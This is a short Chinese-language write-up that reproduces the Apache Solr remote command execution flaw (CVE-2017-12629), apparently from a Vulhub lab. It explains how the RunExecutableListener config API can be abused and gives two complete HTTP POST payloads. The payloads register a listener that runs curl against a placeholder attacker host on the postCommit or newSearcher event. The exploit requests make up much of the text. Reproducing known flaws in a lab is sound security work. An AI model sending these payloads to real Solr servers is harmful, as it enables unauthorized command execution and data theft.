Solr是基于Lucene的面向企业搜索的web应用,是一个独立的企业级搜索应用服务器。它对外提供类似于Web-service的API接口。
用户可以通过HTTP请求,向搜索引擎服务器提交一定格式的XML文件,生成索引; 也可以通过HTTP GET操作提出查找请求,并得到Xml/json格式的返回结果。
Lucene是一个高效的,基于Java的全文检索库。Lucene是一个开放源代码的全文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构。 Apache Solr下载安装
影响版本:
Apache Solr < 7.1
Apache Lucene < 7.1
RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令。使用了config API传入add-listener命令即可调用RunExecutableListener,而“exe”,“dir”,“args”内容也都可以通过http的方式传入,所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作,能够触发命令执行的事件有两个:postCommit 和 newSearcher。使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求,但使用newSearcher时可直接执行命令。
能够触发命令执行的事件有两个:postCommit 和 newSearcher。
3.1、使用postCommit
1、使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求。
POST /solr/test/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://vps:端口"]
}
}
3.2、使用newSearcher
可直接执行命令
POST /solr/test/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"newSearcher",
"name":"newlistener-1",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://vps:端口"]
}
}
此漏洞复现过程中反弹shell未出现。 参考链接: https://paper.seebug.org/425/ https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/